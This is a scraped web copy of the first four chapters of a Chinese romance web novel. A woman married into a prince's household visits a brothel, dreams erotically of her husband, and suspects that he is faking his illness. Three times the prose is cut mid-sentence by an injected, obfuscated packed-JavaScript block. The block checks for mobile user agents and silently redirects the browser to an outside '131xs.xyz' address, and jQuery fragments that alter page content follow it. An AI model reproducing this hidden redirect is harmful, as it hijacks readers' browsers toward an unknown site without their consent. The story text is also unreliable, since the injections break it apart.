《共梦后清冷夫君变醋王》 1. 第 1 章 大白天,但醉花楼二楼的房间内,门窗紧闭,房中垂下红幔,满室烛光。 夏穗半靠在太师椅中,浓烈的酒气与脂粉气萦绕在周围,她带着面罩,向老鸨招招手,示意男花魁进来。 男花魁一袭红衣,赤足走到她跟前,踩在红绒毯上,脚踝上缠绕的小银链叮当作响。 “开始吧!” 夏穗往前倾了倾身子,双手支撑着下巴看着他。 男花魁十分熟练地抽开腰带,外袍瞬间滑落,只着一件薄薄的里衣。他熟稔地扭动腰肢,水蛇腰在夏穗面前灵活地摇摆起来。 他的动作幅度很大,才刚跳一会儿,单薄的里衣就已经湿了,被汗贴在胸膛上,随呼吸起伏隐约显出两点轮廓。 他越跳越近,旋转着已经移到了夏穗的眼前,他带着浓烈花香的发尾扫过夏穗的鼻尖,顺势坐在她的怀中。 “一舞完毕,不知姑娘可还满意?” 男花魁开口,声音连连绵绵,满是软玉温香。他的呼吸还没平稳,胸口轻轻起伏着。 夏穗捏了捏他的下巴:“那是当然!放眼整个醉花楼,谁有你勾人。” 男花魁娇媚地笑笑,看着夏穗面具下露出来的那双灵动的眼睛和圆润饱满的嘴巴,他伸手就要去摘那面具。 夏穗猛地推开他,立刻站起来:“我说过,我相貌丑陋,不便光正示人。”她想抬眼看一下天色,但马上意识到门窗紧闭,于是干脆说道,“时候应该也不早了,我该回去了。” “姑娘,今夜,留下来吧。” 男花魁半坐在地上,拉着她的衣袖,有些楚楚可怜地望着她。 夏穗把他拉起来,但挣脱开他的手:“不行,我承认你长得很好看,身材也好,性格也好,还多才多艺。但我万不可夜不归宿。” 她想起谢枕年那双含着冰霜的眼睛和周身生人勿近的气质,要是让他知道他的王妃混迹花楼,被扫地出门还是小事,她非要被扒掉一层皮不可! 况且,她也不想被王府被扫地出门。 好色归好色,锦衣玉食的生活不能不要。 夏穗出了花楼,混在人群中走了好一段路才摘下面罩。她一路小跑到端王府附近的小屋,换了身衣裳,在穿衣镜前理了理衣襟,清了清嗓子,确保自己至少从外表看去还算端庄温婉,才慢慢往端王府走。 守门的侍卫远远地瞧见她,恭敬地向她行礼:“王妃,您总算回来了。” 听到这句话,夏穗心里咯噔一下。 这话怎么说得好像有人在专门等她回来一样?! 她心虚地朝他们笑了笑,问道:“怎么?出什么事了?” 侍卫们面面相觑,面露难色,夏穗见他们俩支支吾吾的样子,果断决定自己进去看个究竟。 她刚踏入院子,便看到好几个太医模样的人拎着箱子进进出出,还有下人端着血水出来。 那个方向是—— 她婆婆?! 夏穗在心中惊呼一声。不会吧?难道是她婆婆不行了? 今天早上去请安时,她就觉得她婆婆的脸色不大好。但碍于十分生疏冷硬的婆媳关系,她也不敢多嘴。 她听说只要人一老,就很难熬过冬天。她婆婆不会这么快就驾鹤西去了吧? 夏穗一边想着,一边放慢了脚步。 她算算时日,自己冲喜嫁到王府也有三年了,这个婆婆从来不曾给过她半点和颜悦色。 要说难过,她实在难过不起来。 夏穗正打算想个办法湿润一下眼睛,装模作样进去哭一场,丫鬟小桃不知道从哪儿冲出来,喊道:“小姐!你可算回来了!你怎么还在这儿啊!” 夏穗还没来得及说话,小桃拉着她便往院子里跑:“王爷遇刺,伤得很严重,昏过去了,你快去见他最后一面吧!” 小桃拉着她狂奔,夏穗被她这几句话砸得晕乎乎的,她还在脑子里掰碎着这几句话消化,刚好跑到门口,就看到谢老夫人用手帕在抹泪。 老夫人看到夏穗过来,本就不好看的脸色又是一沉。 夏穗的心也跟着一沉。 她努力避开老夫人的视线,安安分分地朝她行了礼,脑子里飞速地想着借口。 老夫人上下打量了她一眼,果然发问:“你上哪儿去了?” “我……” 夏穗刚想狡辩一番,只见从房间里面匆匆走出来一个太医,对老夫人说道:“毒箭已经取出来了,王爷暂时已没有性命之虞,只是人还在昏迷中,接下来的日子需得好生照料。” 老夫人含泪点点头,又睨了低眉顺眼的夏穗一眼:“我要去佛堂为枕年念经祈福,你留下来,好好照顾他。” 夏穗温婉无比地朝她行礼告退,这才转身进去。 房间内弥漫着一股苦药味儿和浓重的血腥气。她那个寡淡如水,平日里对她爱答不理的夫君,此刻正惨白着小脸,紧闭着眼躺在床上。 夏穗走到床边坐下,细细打量着他。 哪怕是在重伤之中,那张脸也还是惊艳绝伦。眉骨陡然,眼尾狭长,鼻若悬胆,嘴唇微薄,下颌线清晰流畅,虽然躺在床上不省人事,但整个人还是带着一种病态的美感。 这副长相简直长在了夏穗的心尖上。 可惜,她的夫君空得了这副让人醉生梦死的好皮囊,平日却像个不近女色的和尚。 她也懂那些严苛世家子身上的清冷矜贵,端庄自持,可他们已经成婚三年了!整整三年,一千多个日夜,他从没碰过她。 可怜她从十六岁等到十九岁,马上要奔二了,还是处子之身。 真是枉费了这烈火干柴的年纪。 夏穗轻叹一声,替他掖掖被子。谢枕年仰面躺着,乌发散在枕上,有几缕贴着他苍白的脸颊。夏穗无意识地伸手,帮他把碎发别到耳后。 他的衣襟散乱开,也许是刚上了药的缘故,衣带系得很松,露出一小截象牙色的锁骨。 夏穗轻轻解开他的衣服,虽然伤口已经包扎好了,但新上的绷带不知什么时候又渗出了一片血色,光看着那颜色,她都能想到下面触目惊心的伤口。 她暗自吐槽着:“你说你,不是病重就是重伤,你就这么想让我当寡妇吗?” 房内自然是没有人回她,她也就敢在这个时候说说他的坏话了。 等夏穗睁眼的时候,外面已经日上三竿了,还是小桃把她给晃醒的。 她昨夜不知什么时候趴在桌子边睡着了,她抹了抹口水,起来伸个懒腰,迷迷糊糊道:“腰好痛,我怎么就在这儿睡着了?” 此话一出,她突然想起来,自己不是要照顾谢枕年的吗?怎么睡着了?! 她三两步冲到谢枕年床边,慌忙探了探他的鼻息,长舒一口气:“还好还好,还活着。” 小桃凑过来看他的情况,吞吞吐吐道:“小姐,你有没有觉得……王爷的脸色更惨白了……” 夏穗闻言瞄了他一眼,不仅脸色变惨白了,连唇色也更淡,嘴唇也开裂了。 她慌忙喂谢枕年喝了点水,但那人根本没有意识,怎么喂也喂不进。 夏穗着急,可确实又不知道该怎么办,只能用丝帕沾了点水,润润他的嘴唇。 她握着谢枕年的手,愧疚,害怕,担忧,这些情绪一起涌上她的心头。情急之下,竟然哗哗地开始流眼泪。 “你可别真死啊!” 小桃看她着急的样子,忽然一拍手掌说道:“听说城北有位很有名的紫阳道长,功德无边,许多人在他面前许愿都灵验了。小姐,要不你去那儿问问吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630637|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏穗回过头来望她,眼睛里还含着泪珠,抽噎道:“当真?” 小桃坚定地朝她点了点头。 她又回头望了望谢枕年,站起来抹了把眼泪,如今这情况,也只能死马当活马医了。 刚下过小雨,青石板上积了一个个小水坑。夏穗跟着一大群人站在山门前,山门一开,她的后背立刻被后面的人潮推着往前。 不知又在殿外等了多久,里面才喊到她的名字。 她侧身挤过人群,进到内殿。供桌上的漆盘堆着新鲜的供果,她在三清像前跪下:“道长,我想替一个人求平安。” 紫阳道长端坐在上座,睁开眼:“不知姑娘是为谁所求?” “我夫君。” 道长点了点头,随即从供台旁边取了一块圆形玉佩出来。莹润剔透的玉佩在他手中泛着温润的光泽,光是看着便让人觉得很有生机。 夏穗刚要伸手去接,但道长又立即收回了手。夏穗不解,抬头望着他。 “凡事有所求,必然有所失。此玉佩也许能够救你夫君于水火,但只有真正虔诚的信徒才能得到它。” 夏穗向着道长拜了一拜,定了定心神,问道:“需要我怎么做?” 道长看着她,窗户忽然被风推开,烛火被那阵风搅得东倒西歪。 日暮时分,夏穗才满身泥泞地回府。小桃看到她,整个人惊呆了:“小姐,你怎么搞成这副样子?你摔进泥坑里了?” 夏穗来不及回话,甚至水也没喝一口,直冲谢枕年的床边。 她小心翼翼地扶起他,把那块圆形玉佩挂在他的胸前。又双手合十,默念了些什么。 把这些事干完,夏穗才终于稍稍放松了些。但紧绷的神经一放松,整个人就像被抽去了所有力气一般,倒在谢枕年旁边就开始呼呼大睡。 晚上,太医来替谢枕年看脉,说他人虽然还在昏迷中,但身体状况已经慢慢好起来了。 等所有人走后,夏穗松了口气,走到床边揉揉谢枕年的脸:“听到没?多亏了我啊!也不知道你这淡然冷漠的人醒来后会不会记得我为你鞠躬尽瘁的日子。” 她说着,也在谢枕年旁边躺下。危机解除,整个人都放松下来,思绪又慢慢飘到外面的花花世界里。 这下,应该要好久才能去醉花楼了吧? 估计也不能去出去看戏听书了。 要不多囤点睡前小画本看看算了…… 想着想着,不知什么时候便进入了梦乡。 梦中,花魁又出现了。妩媚多姿的男人又为自己献上一个新舞,而且比之前的舞更要□□放肆些。 他敢跳,夏穗都不好意思看。 夏穗红着脸,满面春风地坐起来。她细细回想着那个梦,小脸又是一红。夜深人静的,她双手捂着脸,暗自偷笑了一会儿。 真是太羞耻了,还好只是梦。她笑着躺下,打算再复盘一下这场梦,无意中瞄了一眼躺在身侧的谢枕年。 …… 不知是不是她的错觉。 她怎么觉得,身侧的人脸色这么差呢? 并不是因为虚弱而产生的苍白,而是有点像因为动怒或者气急才会出现的面色铁青。 他的眉毛拧着,眼睛也紧闭,黑而长的睫毛在烛火下微微颤动,仿佛连下颌线都是绷紧的。 脸色确实不太好。 难道是做噩梦了? 夏穗支着身子侧躺着,一只手支撑着脑袋,另一只手伸出去,一点点替他抚平眉间的褶皱。 烛火摇曳,谢枕年安静地躺着,一半脸被烛火映照得柔和俊美,另一半脸淹没在阴影中,更显五官深邃立体。 夏穗就这么静静地欣赏着他的脸,光影下,她恍恍惚惚地想起了他们的新婚之夜。 2. 第 2 章 夏穗已经穿好了嫁衣,坐在镜子前,任由妆娘给自己化妆。 从她第一次听说“谢枕年”这个名字,到与他成亲,不过短短三天时间。 听说端王谢枕年忽然大病一场,卧床不起,王府到处在找生辰八字匹配的姑娘为他冲喜,夏穗的继母看中了王府丰厚的聘礼,自作主张把她的生辰八字交了上去。 夏穗对此事毫无兴趣,她本来也不信这种荒唐的事情真会落在自己身上。另外,自己虽然也是官家女子,但他爹只是一个区区八品官,亲生母亲年幼离世,继母上位,她在这个家没过过半天安生日子。 若是能趁早谋得一个如意郎君,倒也不失为一件好事。 夏穗看着镜中人的脸,珠钗满头,粉面红妆,她颇为满意地点点头。 嗯,不错,小有姿色。 不过降服男人,小有姿色足矣。 外头响起了撼天震地的鞭炮声,应该是王府接亲的队伍来了。小桃为她盖上红盖头,扶她出门上轿。 端王年轻,尚未娶妃,而且大师说了,他此病来得凶险,冲喜的女子嫁进来后一定要有足够的地位才可彻底驱除病魔,转危为安。 所以整个端王府便是以迎接正妃的礼仪迎娶夏穗。世家大族的婚礼十分繁琐冗长,但进行了好半天,也不见新郎官的身影。 直到要拜堂的时候,夏穗才听到几声咳嗽。那咳嗽声由远及近而来,但她听不到丝毫脚步声。 不会是半身不遂,要坐轮椅的地步吧? 夏穗很想见一见这位夫君的真面貌,但此时盖着盖头,她也没办法。 “一拜天地——” 司仪的话音未落,身旁的人又连着咳了好几声,咳得惊天动地,让夏穗疑心那人要把心肺都咳出来。 “二拜高堂——” “咳、咳咳咳……” 不是吧?这痨病鬼病得这么严重?这病不传染吧? 夏穗咬着下唇,行尸走肉般地拜堂。 “夫妻对——” 司仪的话还未说完,她的袖子忽然被人抓住,那人所有的重量几乎都靠在她身上,夏穗下意识地伸出手想扶一把,但那人已经一头栽倒在了自己的绣鞋上。 夏穗低着头,透过晃动的盖头,隐约看到一张惨白的脸,还有嘴边咳出的鲜血。 她还没反应过来,紧接着整个房间里顿时乱作一团,抬人的抬人,叫太医的叫太医,一片慌乱。 也根本没人顾及她这个新娘子。 夏穗只好自己走回了婚房,刚打开门,眼前金碧辉煌,珠光宝气的布置闪得她移不开眼。 简直是如坠金窟。 “老天爷!” 夏穗一个滑跪趴倒在连箱的金银珠宝前,她第一次见识到,原来人生除了黑色和黄色,还可以是金色。 她满心欢喜地挑了几件最贵最好的,转身塞进陪嫁丫鬟小桃的手里:“小桃,你现在带着这些回府,把我的房间锁上。照这情形看,我说不定过几天就回去了。” 小桃拿着那堆金银珠宝不知所措:“小姐!今天是你大喜的日子,不要说这种不吉利的话。” “我都能嫁给拜个堂都吐血昏倒的痨病鬼了,还能有多不吉利。” 她正打算再挑几件带走,门外传来几声恭敬的敲门声:“娘娘,王爷的病情已经稳定下来了,老夫人让您移步春静堂,王爷现在在那边休养。” 夏穗有些可惜地望了那些珠宝一眼,把她挑好的几个手镯戴在自己手上,才起身出门。 下人将她带到房前,她直接推门而入。喜房内红烛摇曳,一丝酒气也没有,只有一股极苦中草药味。 她传说中的夫君靠坐在床边,都不必细细看他的五官,只草草瞄一眼,那气质自是矜贵无比,仪表堂堂。 谢枕年瞥了她一眼,接着把目光落在桌子上:“合卺酒在那边。” 嘴上说着要喝夫妻间催.情添火的交杯酒,声音却像浸过雪水般清透冷冽。 夏穗也明白他的意思,就算身体上再怎么力不从心,婚礼流程还是要走一遍的。 浓烈的酒一点点灌进喉咙,夏穗目不转睛地盯着与她面对面饮交杯酒的人,目光先是落在他的粉软的嘴唇上,接着是滚动的喉结,再通过宽松的衣领往下探去。 身体不由自主地朝他靠近了一点。 一杯酒灌下去,酒气在胃里蔓延开一股热流,暖意和酒气立刻传遍她的四肢百骸。 耳后的血管也突突跳动,带动着太阳穴和心脏也疯狂猛跳。夏穗暗暗做了个深呼吸,想调整好状态。 她并非是酒量不好,只是美人在侧,满室春色,酒不醉人人自醉。 他们靠得很近,双手交错着,哪怕只是布料的摩擦声,在她的耳中也被一点点放大,变得异常清晰。 手中的酒杯还没放下,夏穗的脑海里就已经把接下来一个时辰内要发生的事演练了一遍。 该怎么做?是他先解我的衣服还是我先脱他的衣服?要我先在他耳边说情话吗? 他病还没好,应该不会太凶吧…… 谢枕年见她低头暗笑了许久,忍不住蹙着眉叫了她一声:“怎么了?在想什么?” 夏穗回过神来,连忙解释道:“这酒……不好喝。” 她一边说着,一边抬手解开领口透透气。宽大的喜服广袖顺着抬起的小臂滑落下来,露出她手臂上金金银银一大摞手镯。 谢枕年看到她的铜墙铁臂,不禁又皱了皱眉。 夏穗连忙把衣袖拉下来,有些尴尬地笑了笑:“这个、这个也是婚礼的一环,我嫌它们太重,说了不想戴,喜娘偏要我戴上,说是镯沁人心,温婉绵绵。” 她一本正经地胡诌着,但谢枕年听得认真,听她说完,只点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630638|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见他被骗到,夏穗暗自舒了口气。半口气还没舒完,谢枕年便说道:“好了,替我脱衣吧。” ?! 这么快就要开始了吗?! 夏穗低头称是,有些战战兢兢地开始解他的外袍。虽然已经在脑海里演练过一遍了,但实干起来还是有些紧张。 她颤抖着手去解他的胸前的衣带,但不知是酒意上头还是太过紧张,她总觉得有些晕乎乎的,一个结拆了半天还没拆开。 一股清药味突然逼近,谢枕年握住她发抖的手:“这要解到猴年马月?我自己来吧。” 于是他开始自己动手解。 夏穗缩回手,咬了咬嘴唇,羞涩地低下头,正在犹豫该矜持一点,等着对方来解衣服,还是该主动快速一点,自己脱衣服呢? 她还没做好决定,一只骨节分明的手就把外衣递到了她面前。 “把外袍放到那边吧。” 夏穗抬头,错愕道:“不一起去放吗?” 谢枕年也疑惑:“什么一起放?” 对上那双清冷明亮的眼睛,夏穗涨红了脸,低头不语,只默默伸手去接他脱下的外袍,华贵的布料上似乎还残留着他的体温。 谢枕年裹着里衣躺下:“我身体不好,你也看到了。今夜免了鱼水之欢,入睡吧。” “啊?!” 夏穗自己还没想好要说什么,喉咙就已经不由自主地发出了惊诧声。 谢枕年向她投来一个目光,像是在问:那不然你还想做什么? 夏穗只得温顺地低下头,不再多话。那人肯打发她一个目光已经是对她十分宽容了。 她也脱了外衣,一起放到衣架上,又走到桌边灭了几盏红烛,才躺回床上。 这还是她生平第一次,和男人同床共枕。 还是个体格健壮,胸膛厚实,宽肩窄腰大长腿,气质与相貌都无可挑剔的美男子! 天鹅肉就在嘴边,可惜她吃不到。 睡一个行不通,梦一个总不过分吧。 梦中,是一模一样的布景。房内处处红烛高照,富丽堂皇。 夏穗坐在床沿,指尖勾住谢枕年的衣带,整个人贴过去,靠在他的肩膀上,她朝他的耳朵呵气:“夫君病还没好,我来替你宽衣吧。” 谢枕年半倚在喜帐里,勾起唇角,朝她点点头。 他的衣服被解开,露出一片白皙的胸膛。烛火跃动下,他也上手开始帮夏穗解衣带。很快,两人羞羞答答躲进被子里。 谢枕年拉过她的手,先是吻了吻手背,接着舔上她的手腕内侧,湿软的舌尖沿着她微微凸起的血管游走,惊得她浑身颤栗。 暧昧的氛围浓浓散开。 她抬眼,目光一寸寸地描摹过他清冷隽秀的五官,抬手抚摸过他的额角,眼睛,嘴唇,下巴,脖颈,胸口…… 再往下。 3. 第 3 章 夏穗只是一个小小的举动,谢枕年就不可忍耐地闷哼一声,瓷白的脸上迅速染上绯色,侧头把半张脸埋在软枕中。 眼中最后那点清明之色也被顶撞掉,迅速爬上一层迷蒙春色。 她十分满意地调笑着,马上要把这个秀色可餐的小可怜据为己有。 她明明沉浸在美梦中,但脖子好像被人狠狠掐住了一般,蓦地传来一阵窒息感。 夏穗猝然从梦中惊醒,猛地睁开眼,只见谢枕年眼尾猩红,正跨坐在自己身上。 她看着自己身上的谢枕年,一时之间分不清楚,现在到底是梦境还是现实。 但他放在自己喉间的那双冰冷的手,让她无比清晰地意识到,原来方才那股窒息感不是她的错觉,而是她的脖子真的被人掐住了! 罪魁祸首正是这个痨病鬼! 夏穗一把推开他,猛地坐起身。虽然还有些惊魂未定,但她身体反应很快,立即在床上跪下,低下头恭敬问道:“不知我哪里做得让王爷不满意,还请王爷恕罪。” 谢枕年被她推倒,头发散乱着,楞楞地坐在床上,呼吸有些粗重,眼中一片混沌,像是根本没有在听她说话。 夏穗也被他这副样子吓到了,想起方才岌岌可危的时刻,眼泪已经在眼眶里打转,但她还是强行忍住,先关心了一下他的状态:“你怎么了?陷入梦魇了?” 此时的谢枕年才回过神来,吞了口唾沫,勉强定了定心神,语气温和:“是我不好,吓到你了。” “也没有……呜呜……” 不被安慰还好,一被安慰简直觉得委屈到了极点。 稀里糊涂嫁个朝不保夕的夫君就算了,新婚之夜不能酱酱踉踉也算了,自己难得做个美梦,还被枕边人掐着脖子,险些丧命。 眼泪像断线的珠子,不值钱地流,夏穗越想越觉得委屈,索性抽抽搭搭哭了起来。 谢枕年见状,也不知所措,见她泪眼婆娑,我见犹怜,忍不住抬手想为她擦擦眼泪。但他一伸手,夏穗像一只受惊的兔子紧急避险,向后躲了一下。 谢枕年收回手,垂下眼眸。除了孩童时期的乳母,他不曾与其他人同睡一张床。今夜他本就是带着防备入睡,但幼时那痛心疾首的经历偏偏再次浮现在梦中,他惊醒时仍然没有摆脱梦魇,翻身坐起来下意识地掐住了身侧人的脖子。 看着眼前哭得梨花带雨的夏穗,他意识到自己方才的举动确实不妥,便向她行了一礼,解释道:“我不习惯与他人同睡。” 说是解释,其实也只是一句简单的回应。 夏穗慢慢平复了心绪,但不回话,只是乖巧地点点头。 话虽是这么说,但这谁还睡得下去。 房内一时安静,静得能听到红烛滴落的蜡油声,最终还是谢枕年先开口打破沉默:“惊扰夫人了,我去书房睡。” “不用!” 见他起身,夏穗立马拽住他的衣袖,“夜里风大,你身体不好,还是我去书房睡吧。” 为避免节外生枝,还是她这个身体强壮的人起来比较好,搞不好他会晕在半路上。 夏穗十分利落地披上衣服,穿上鞋。她出门前还不忘朝他行礼,这才关门退下。 虽然他是很好看,但还是小命要紧。 她想不通,一个痨病鬼怎么会有那么大的力气。都已经重病缠身了,还这么凶神恶煞,这莫不是天罚。 果然位高权重的人看上去再人美心善,背地里也必然是杀伐果断。这种人,她以后还是敬而远之,明哲保身为妙。 夏穗一边想着,一边满院子地找谢枕年口中的书房。走了半天,不知不觉又走回了原地。 她只好随便拉了个侍卫问道:“请问书房怎么走?” 侍卫应声回过头,一袭窄袖锦衣,手持配剑,眉目英气。 夏穗在心中暗赞,不愧是端王府,随便拉个侍卫也这么好看。 此时她退了婚服,一身素衣,院子里的侍卫上下打量她两眼,先是随手给她指了个方向,接着奉劝道:“大半夜的,少出来乱逛,做好自己的差事。” 看来他多半是把自己当成新来的婢女了。 夏穗也不恼,随口道了谢,转身便往他指的方向走去。左拐右拐,推了好几扇门,好不容易才找到了书房。 房间宽敞,窗明几净,几个大架子还有桌子上摆的全是书,连床榻边也摆着一摞书。 一看这屋子的主人便是一个勤奋自律,刻苦上进的人。 但夏穗现在没那么多功夫赞叹,折腾了一整天,好不容易小睡了一下,又被惊醒,此刻已然身心俱疲。 她走到床榻边,胡乱地蹬掉鞋子,一脚便踩了上去。 脚刚踩到床,床铺立刻传来一声脆响,她脚踩的那块地方,已经凹陷下去一块。 夏穗一惊,困意全无,瞬间不敢动弹。 难不成房内设了什么机关暗器?! 毕竟在朝堂上尔虞我诈,明枪暗箭多了去了。谢枕年年纪轻轻就能稳坐端王这个位置,双手不见得有多干净,不是他暗算别人就是别人暗算他。 夏穗提心吊胆地等了一会儿,生怕她一动就从某个角落飞出一支箭来。但等了许久,房间里依旧安安静静的。 她试探性地移开了脚,慢慢蹲下身子,摸摸那个凹陷的地方。 ——好像仅仅就是木板被踩断了而已。 她有这么重吗? 要是让人知道,王妃进门第一晚就把床给睡坏了,传出去实在不太雅观。 夏穗掀开被褥,想着垫几本书补救一下。 但她一打开被褥,发现并不完全是木板的问题。她掀起木板,只见木板下方还有一个小暗格。 不愧是大户人家,一张床也设计得这么有心机。 藏得这么隐蔽,多半是房产地契吧? 刚好她无处打探王府的家底到底如何,现在可是千载难逢的好机会。她毫不犹豫地打开暗格。 只见里面安安静静地躺着一整套胭脂水粉。 夏穗拿起来看了看,每样都被人用过一些,尤其是擦脸的白粉。 她把小木盒放回去,暗自思忖着:王爷的书房里怎么会有姑娘才用的胭脂水粉? 难道是他暗中包养了别的女人? 这个想法一出来,夏穗又立即否定掉。不对不对,他身居高位,在府内更是以他为尊,想要什么样的女人不能光明正大养着,非得来暗中调情那一套。 但除了这条,她怎么也想不到女儿家用的胭脂水粉会出现在这里的理由了。 夏穗想得头痛,顺势躺在床上,刚躺下来,谢枕年猩红的眼睛和苍白的脸仿佛又出现在自己眼前,那双冰冷的手好像又掐在她脖子上,让她喘不过气。 也就是在那一瞬间,夏穗的脑子里忽然闪过一个想法。 真正病重之人哪来的那么大力气。 惨白的脸色,毫无血色的嘴唇,这些都只是外在的表现,只要略施手段即可做到。 胭脂水粉能为面容增光添彩,反之亦然。 如此想来,谢枕年多半是在装病。 夏穗撇撇嘴,亏她还好心担忧他,大半夜跑来书房睡。她把夫君挂心里,夫君把她挂书房。 她躺在床上,细细思索着目前来到王府所接收到的信息,更加觉得谢枕年那种人不是她耍耍小手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630639|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能降服得了的。 想在王府扎根生存下去,还是装装清纯无害的小白兔更好。她一边为自己日后谋划着,也慢慢进入梦乡。 “小姐!快醒醒!” 小桃着急尖锐的声音一点点把夏穗的意识拉醒,她迷迷糊糊地应了一声,眼睫动了动,但强烈的日光刺得她有些睁不开眼睛。 她果断选择拉住被子蒙住头,翻个身向里侧蹭了蹭,没有要起来的架势。 “小姐!已经过了请早安的时间了,就你没到,老夫人正派人找你呢。” 夏穗一惊,马上翻身坐起来,开始手忙脚乱地穿衣服。 等夏穗姗姗来迟,给老夫人来请安的人都已经走了。 老夫人端坐在上座,见她来了,放下手中的茶杯,用丝帕擦擦嘴角才开口:“这都已经快要用午膳了,你还来做什么?何不干脆攒着这一趟明天再来。” 夏穗立即在她面前跪下,诚恳道:“夏穗知错,此行是特定来请罪的。我娘亲在我年幼时便撒手人寰,家中无至亲长辈教导。幸得老天垂怜,入了王府,夏穗以后一定谨遵您的教诲。” 面对这种本来就看不上自己身份的老婆婆,无论怎么辩解在她眼中都不管用,强行解释反而会多添一层顶撞婆婆的罪名。真诚认错,再打一点感情牌,才是上策。 夏穗说的确实也是实话。她虽是官家女子,但亲娘走得早,她爹也从不管她。什么闺中女子的礼仪,琴棋书画,针线茶艺,她几乎一概不知。 老夫人轻叹口气,果然不再责怪她,但开口仍然带着不满的语气:“既然你入了王府,以后便要守王府的规矩。先从王妃该遵守的礼仪开始学起吧。” 她的话音刚落,便从一旁走上来一个年纪有些大的妇女。 老夫人接着道:“从今天起,她就是你的掌教姑姑,负责带你熟悉王府,教你礼仪。” 夏穗恭敬地朝掌教姑姑也行了一礼。 掌教姑姑带她回房,顺便搬了几摞书进来:“这些书还请王妃熟记于心。” 夏穗惊得口中的水都差点喷出来:“这么多?!我是要替王府去考取功名吗?” “这是王府的族谱、家规,还有王府这些年发生的大小事件,作为王妃,知道这些是最基本的。” 夏穗扶了扶额:“姑姑,要不我们先从简单一点的开始学?” 在她的一番软磨硬泡下,掌教姑姑最终妥协,决定先去室外练仪态。 青砖地面被日头晒得发烫。夏穗头顶堆着几本书,从后颈到脊背,整个人都绷得笔直。 但掌教姑姑还是不满意,用戒尺抬了抬她的手肘:“手抬高。” “肩胛打开,挺胸,别像晒蔫的菜叶似的。” 头顶的几册书压得她颅骨都有些发麻,烈日炎炎,汗水顺着耳后滑进衣服里,她的膝窝已经开始打颤。 “好,站姿就是这样。现在走几步看看。” 终于能动弹了,她轻轻吐出一口气,汗水从她的额头顺着脸颊汇聚在下巴,滴落下来。 她还没走几步,掌教姑姑的训斥声又从身后传来。 “手臂的摆动幅度太大了!慢慢走,步子迈小一些!” “注意头上的书,不要歪了。” “目视前方!” 夏穗的眼睛看着前方,根本没注意脚下就是阶梯。她往前一步,一脚踩空,浑身一个踉跄,直接摔了一个狗啃泥,头顶的书册也哗啦散落一地。 她的脸贴在地上,暗骂了一声,本着在哪里摔倒就在哪里休息会儿的原则,她打算就地躺会儿。 但目光所及之处,忽然出现了一双绣着金线一尘不染的白色靴子。 4. 第 4 章 夏穗趴在地上,目光一寸寸上抬,光看这绝佳的身材比例,她便已经猜到了来人是谁。 只见谢枕年微微蹙眉,站在自己身前。 两人四目相对了几秒,他弯腰伸出手,夏穗以为他要来扶自己,便也赶紧伸出手。 但两只手在空中恰恰好错过,谢枕年的衣袖擦过她的手背,捡起了她面前的书。 夏穗的手僵在半空中,略有些尴尬地收回来,摸了摸鼻子。 他拿起书,拍了拍灰尘,对掌教姑姑说道:“这书虽然被束之高阁许久,但好歹也是流传下来的孤本,不要糟蹋了。” 糟蹋? 夏穗腹诽,到底是她在被糟蹋还是书在被糟蹋?! 她有些狼狈地站起来,拍拍身上的灰尘。谢枕年把书转交给身后的随从,淡淡地瞥了她一眼,并没有多余的话。 他经过掌教姑姑身侧时,稍微停顿了一下,似乎偏头说了句什么,但隔得有些远,夏穗听不清楚。 等谢枕年走远后,掌教姑姑走过来说道:“我看王妃也累了,今天就先练到这儿吧!” 终于解放了! 夏穗简直想原地旋转一圈再蹦起来庆祝,但表面上还是按捺住,佯装可惜道:“时间也太快了,我只恨不能一天将这些礼仪都学好,早日为老夫人分忧。” 掌教姑姑像是对她的回答十分满意,微笑着点点头,朝老夫人复命去了。 她前脚刚走,夏穗整个人立马耷拉下来,在烈日下站了一天,她觉得浑身腰酸背痛的。她随便在院子里挑了口水缸,撸起袖子打算洗把脸。 袖子一撸,她总觉得有些不对劲。 镯子怎么少了一个?! 如果是她嫁过来以后在王府里拿的那些镯子也就罢了,但丢失的那个镯子对她来说意义重大。 那是她亲娘唯一的遗物。 她胡乱擦了把脸,立刻回婚房去找。她颇为粗暴地推开门,径直走向千工拔步床。 被褥已经收拾好了,叠得整整齐齐,完全看不出有人睡过的样子。 夏穗单手就把叠成豆腐块的被子掀翻,正要动手翻找,动作忽地顿住。 一股雪后松木般的香气混合着淡淡的药味从被子里渗出来。 这正是谢枕年身上的味道,昨天与他近距离接触时,那香气铺天盖地席卷而来,反而让她觉得没那么好闻。 但此时这个味道似有若无,反而带着几分温柔缱绻,缭绕在她周围。 那股好闻的味道诱导她慢慢俯下身来,想从那团柔软的被褥中索取更多。 